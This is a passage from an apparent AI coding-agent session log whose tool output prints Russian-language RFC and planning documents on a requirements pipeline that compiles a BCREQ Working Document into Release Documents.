\u0414\u0432\u0430 RFC \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u0435\u043b\u044f\u0442 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c: \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0441\u043b\u043e\u0442\u044b \u0438 \u0442\u0438\u043f\u044b \u2014 RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438; \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f, 2.3, 4 \u0438 \u0443\u0441\u043b\u043e\u0432\u043d\u044b\u0439 7 \u2014 RFC \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430. | Source compiler, baseline digest, reverse trace, `G-release` \u0438 privacy checks; Distribution \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0438\u0437 Source \u043f\u043e [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md). |\\n| CLI deployment | \u0422\u0440\u0435\u0442\u0438\u0439 [RFC \u043e \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md) \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f `proposed`: \u043e\u043d \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u0441\u0440\u0435\u0434\u0443 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e, \u0430 \u043d\u0435 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0443 BCREQ. | \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c Source \u2192 Distribution \u0441 \u044d\u0442\u0438\u043c \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 runtime-\u0437\u0430\u0434\u0430\u0447\u0435; \u0435\u0433\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0435 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 Source. |\\n| \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | [\u041f\u0430\u043a\u0435\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/README.md) \u0443\u0436\u0435 \u0438\u043c\u0435\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u0438 \u044d\u043c\u0443\u043b\u044f\u0446\u0438\u044e. \u041e\u043d\u0438 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u043e\u0441\u0442\u044c, \u0432\u044b\u0431\u043e\u0440 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0439 \u043e\u0441\u0438, NFR\u2192FR \u0438\u043b\u0438 Release-\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e. | \u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u0437\u0438\u0442\u0438\u0432\u043d\u044b\u0435/\u043d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u044b\u0435 fixtures \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043d\u043e\u0432\u043e\u0433\u043e gate, \u0432\u043a\u043b\u044e\u0447\u0430\u044f non-CC, external TZ, missing mapping, orphan NFR, unknown compatibility \u0438 \u043f\u043e\u0442\u0435\u0440\u044f\u043d\u043d\u044b\u0439 edge case. |\\n\\n\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0441\u0441\u044b\u043b\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 12 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 Markdown-\u0441\u0441\u044b\u043b\u043e\u043a \u0432 \u043c\u043e\u0434\u0443\u043b\u044f\u0445\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043e\u0434\u0438\u043d URL \u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 `30-production-law.md`. \u041e\u043d\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b\\n\u0432 \u044d\u0442\u043e\u043c PR. \u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0432 frontmatter, \u043a\u043e\u0434\u0435 \u0438 YAML \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f\\n\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c\u0438 \u043f\u0443\u0442\u044f\u043c\u0438/\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c\u0438, \u0430 \u043d\u0435 Markdown-\u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438.\\n\\n## \u041d\u0435\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u043e\u0435 \u0438 \u043f\u0443\u0442\u044c \u043a \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438\",\n[2026-09-29T07:45:10.620Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:10.620Z] [INFO]       }\n[2026-09-29T07:45:10.620Z] [INFO]     ]\n[2026-09-29T07:45:10.620Z] [INFO]   },\n[2026-09-29T07:45:10.620Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:45:10.620Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:10.620Z] [INFO]   \"uuid\": \"5c4d2ca6-ad23-46ad-ac0f-b21f2970acd4\",\n[2026-09-29T07:45:10.620Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:10.351Z\",\n[2026-09-29T07:45:10.620Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:45:10.620Z] [INFO]     \"stdout\": \"=== docs/rfc/2026-09-bcreq-working-release-pipeline.md\\n\\n# RFC: \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 Working Document \u2192 Release Document \u0434\u043b\u044f BCREQ\\n\\n## RFC Metadata\\n\\n| \u041f\u043e\u043b\u0435 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| Owner | G-Ivan-A |\\n| RFC status | `accepted`; \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 [issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609) |\\n| Source issue | [#607](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/607) |\\n| Implementation link | [PR #608](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/608) |\\n| Evidence | \u0414\u0435\u0432\u044f\u0442\u044c \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0439 issue #607, \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438; \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f [PR #602](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/602), [PR #604](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/604) \u0438 [PR #606](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/606) |\\n| Impacted artifacts | \u0414\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: BCREQ Source schema, skills, gates, compiler, release profiles \u0438 Distribution |\\n| Decision record | \u0412\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0440\u0438\u043d\u044f\u043b \u043f\u044f\u0442\u044c \u043f\u0443\u043d\u043a\u0442\u043e\u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c \u043a [issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609) \u0434\u0438\u0430\u043b\u043e\u0433\u0435; \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0432 [\u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md) |\\n| Archetype scope | `C` \u2014 Product Spoke / Runtime |\\n\\n## Summary\\n\\n\u041d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0434\u0432\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. BCREQ \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\\n\u043e\u0434\u0438\u043d \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 **Working Document** \u2014 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u0438\\n\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0438 \u2014 \u0438 \u043e\u0434\u0438\u043d \u0438\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e **Release Document**,\\n\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0433\u043e baseline \u0434\u043b\u044f \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u0439\\n\u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438.\\n\\n\u0420\u0430\u0431\u043e\u0447\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u0445\u0440\u0430\u043d\u0438\u0442 evidence, User Story, scope, FR/NFR, UC, \u043c\u0430\u0442\u0440\u0438\u0446\u044b \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f,\\n\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0438 edge cases. Release \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u0443\u044e \u0438\\n\u0443\u043c\u0435\u0441\u0442\u043d\u0443\u044e \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u044f \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044e. \u041a\u0430\u0436\u0434\u044b\u0439 NFR \u043e\u0431\u044f\u0437\u0430\u043d \u0441\u0441\u044b\u043b\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 FR.\\n\u041f\u0440\u0438\u0437\u043d\u0430\u043a `requires_backward_compatibility` \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e FR \u0438 \u043f\u0440\u0438 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\\n\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0438 \u043f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0432 FR, \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f\u0445, edge cases \u0438\\n\u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u043c \u0434\u0438\u0437\u0430\u0439\u043d\u0435. \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043d\u043e\u0432\u0443\u044e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0443 \u0438 \u0441\u0430\u043c\u0430 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 `G-release`.\\n\\n\u0422\u0435\u0440\u043c\u0438\u043d\u044b Working/Release \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0430 \u043d\u0435\\n\u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0435\u043c, \u0447\u0442\u043e BABOK, IREB \u0438\u043b\u0438 TM Forum \u043f\u0440\u0435\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0441 \u0442\u0430\u043a\u0438\u043c\u0438\\n\u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f\u043c\u0438.\\n\\n## Motivation\\n\\n\u0410\u043d\u0430\u043b\u0438\u0437 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0439 issue #607 \u043f\u043e\u043a\u0430\u0437\u0430\u043b \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u044b\u0439 \u0440\u0430\u0437\u0440\u044b\u0432 \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c\\n\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u043c.\\n\\n| \u041d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 | \u0420\u0438\u0441\u043a | \u0422\u0440\u0435\u0431\u0443\u0435\u043c\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 |\\n| --- | --- | --- |\\n| \u0412 \u0445\u043e\u0434\u0435 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b, \u0432\u043e\u043f\u0440\u043e\u0441\u044b, UI-\u0434\u0435\u0442\u0430\u043b\u0438 \u0438 edge cases \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u043d\u043e \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u0442\u0435\u043a\u0441\u0442. | \u0415\u0441\u043b\u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0438\u0445 \u0440\u0430\u043d\u043e, \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435; \u0435\u0441\u043b\u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432\u0441\u0451, \u043a\u043b\u0438\u0435\u043d\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f. | \u041f\u043e\u043b\u043d\u044b\u0439 Working baseline \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u0430\u044f Release-\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f. |\\n| \u0420\u0430\u0437\u0434\u0435\u043b 2.3 \u00ab\u0417\u0430\u0434\u0430\u0447\u0438\u00bb \u0432 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u043a\u0435\u0439\u0441\u0430\u0445 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u043b FR, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0434\u0435\u0442\u0430\u043b\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f. | \u041e\u0434\u0438\u043d \u0441\u043c\u044b\u0441\u043b \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043c\u0435\u0441\u0442\u0430\u0445 \u0438 \u0440\u0430\u0441\u0445\u043e\u0434\u0438\u0442\u0441\u044f. | \u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u044f\u0432\u043d\u043e\u0439 \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f; \u0437\u0430\u0434\u0430\u0447\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044e \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f. |\\n| NFR \u043f\u043e\u044f\u0432\u043b\u044f\u043b\u0438\u0441\u044c \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u0436\u0435\u043b\u0430\u043d\u0438\u044f \u0438\u043b\u0438 \u043a\u0430\u043a \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u044b, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043a \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e. | \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u043a \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0438\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0431\u0435\u0437 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u0438. | \u0422\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 NFR \u0441 \u044f\u0432\u043d\u044b\u043c `applies_to_fr` \u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c target. |\\n| \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0441\u0443\u0436\u0434\u0430\u043b\u0430\u0441\u044c \u043f\u043e\u0441\u043b\u0435 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f. | \u041f\u043e\u0437\u0434\u043d\u0435\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 FR, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043d\u044b\u0435 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0443\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f. | \u0420\u0430\u043d\u043d\u0435\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u044b\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043f\u043e \u0432\u0441\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438. |\\n| \u0414\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e FR \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c UC \u0438\u043b\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f; \u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 edge cases \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u0431\u0435\u0437 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430. | \u0412\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0444\u0438\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u0434\u043e\u0434\u0443\u043c\u0430\u043d\u043d\u0430\u044f \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0438\u043b\u0438 \u043d\u0435\u043f\u043e\u043b\u043d\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435. | \u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 trace-\u0433\u0440\u0430\u0444 \u0438 \u0433\u0435\u0439\u0442\u044b \u043c\u0435\u0436\u0434\u0443 \u0441\u0442\u0430\u0434\u0438\u044f\u043c\u0438. |\\n| \u0414\u0432\u0430 JSON-\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u0431\u0430\u0439\u0442-\u0432-\u0431\u0430\u0439\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u044b\u043c\u0438. | \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u0430\u0439\u043b\u043e\u0432 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432. | \u0414\u0435\u0434\u0443\u043f\u043b\u0438\u043a\u0430\u0446\u0438\u044f evidence \u043f\u043e checksum \u0434\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430. |\\n\\n\u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u0430 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u00ab\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0433\u043e\\n\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u00bb. \u041e\u043d\u0430 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430: \u0434\u0435\u0444\u0435\u043a\u0442\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u043b\u0438 \u0434\u043e \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u0430 \u2014 \u043f\u0440\u0438\\n\u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0432\u044b\u0431\u043e\u0440\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430, \u0443\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0438 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0438\u0438\\ntrace. \u0421\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u043d\u0443\u0436\u0435\u043d \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u043e\u0432\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d.\\n\\n\u0412\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445\\n\u0444\u0430\u043a\u0442\u043e\u0432. \u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0435 JSON/TXT \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u044b\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 \u043d\u0435 \u0432\u0445\u043e\u0434\u044f\u0442 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0438\\n\u043f\u043e\u0434\u043b\u0435\u0436\u0430\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430.\\n\\n## Goals and Non-goals\\n\\n### Goals\\n\\n- \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0440\u043e\u043b\u0438 Working Document \u0438 Release Document \u0431\u0435\u0437 \u0434\u0432\u0443\u0445 